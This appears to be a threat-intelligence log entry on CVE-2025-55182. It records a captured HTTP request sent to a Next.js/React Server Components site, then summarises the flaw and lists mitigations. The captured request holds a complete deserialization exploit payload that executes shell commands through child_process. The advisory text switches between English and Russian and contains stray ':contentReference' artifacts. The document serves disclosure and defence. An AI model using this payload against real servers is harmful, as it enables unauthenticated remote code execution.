CVE-2025-55182

2026-03-12

5.35.98.193

russia 

Meta 

React 

POST / HTTP/1.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/█████████ Safari/537.36
Host: blog.██████
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary991d20d1b2ec463c
Content-Length: 750
X-Forwarded-For: ███████████
Accept: */*
Accept-Encoding: gzip, deflate
Next-Action: x
X-Ja3-Fingerprint: f0a8f03cd88db5395e12077d3e4aa1fc
X-Ja4-Fingerprint: t13d431000_c7886603b240_1f22a2ca17c4
X-Nextjs-Request-Id: de286af6
Connection: close

----------WebKitFormBoundary991d20d1b2ec463c
Content-Disposition: form-data; name="2"

[]
----------WebKitFormBoundary991d20d1b2ec463c
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", "_chunks": "$Q2", "_formData": {"get": "$1:constructor:constructor"}}}
----------WebKitFormBoundary991d20d1b2ec463c
Content-Disposition: form-data; name="1"

"$@0"
----------WebKitFormBoundary991d20d1b2ec463c--

CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference
The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 
The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 
Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.
The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after. 

Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)